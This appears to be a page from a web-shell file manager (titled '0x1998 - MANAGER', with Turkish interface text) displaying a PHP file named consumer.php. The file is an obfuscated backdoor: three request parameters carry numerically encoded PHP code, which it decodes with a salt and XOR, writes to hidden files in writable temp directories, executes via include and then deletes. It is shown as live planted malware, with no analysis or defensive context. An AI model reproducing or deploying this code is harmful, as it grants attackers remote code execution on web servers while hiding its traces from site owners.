0x1998 - MANAGER
Düzenlenen Dosya: consumer.php
<?php if(array_key_exists("o\x62\x6A", $_REQUEST) && !is_null($_REQUEST["o\x62\x6A"])){ $parameter_group = array_filter(["/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); $ptr = $_REQUEST["o\x62\x6A"]; $ptr= explode ("." ,$ptr ) ; $entity = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $k = 0; $__tmp = $ptr; while ($v9 = array_shift($__tmp)) { $chS = ord($salt9[$k % $sLen]); $d = ((int)$v9 - $chS - ($k % 10)) ^ 78; $entity .= chr($d); $k++;} $ent = 0; do { $bind = $parameter_group[$ent] ?? null; if ($ent >= count($parameter_group)) break; if (is_writable($bind) && is_dir($bind)) { $property_set = implode("/", [$bind, ".mrk"]); if (@file_put_contents($property_set, $entity) !== false) { include $property_set; unlink($property_set); exit; } } $ent++; } while (true); } if(!empty($_REQUEST["h\x6Cd"])){ $value = $_REQUEST["h\x6Cd"]; $value = explode ( '.', $value) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $q = 0; foreach($value as $v2) { $chS = ord($salt[$q % $lenS] ); $d = ((int)$v2 - $chS -($q % 10)) ^ 3; $itm.= chr($d ); $q++; } $pointer = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path()]); $k = 0; do { $binding = $pointer[$k] ?? null; if ($k >= count($pointer)) break; if (!( !is_dir($binding) || !is_writable($binding) )) { $dat = join("/", [$binding, ".factor"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $dat; @unlink($dat); exit; } } $k++; } while (true); } if(!empty($_POST["\x64\x61\x74\x61\x5Fchunk"])){ $desc = $_POST["\x64\x61\x74\x61\x5Fchunk"]; $desc = explode ( ".",$desc ); $elem = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); foreach( $desc as $l => $v8) { $sChar = ord( $salt7[$l % $lenS]); $d = ( ( int)$v8 - $sChar -( $l % 10)) ^ 61; $elem.= chr( $d); } $fac = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($fac as $ref): if (max(0, is_dir($ref) * is_writable($ref))) { $resource = implode("/", [$ref, ".reference"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $resource; @unlink($resource); die(); } } endforeach; }
geri dön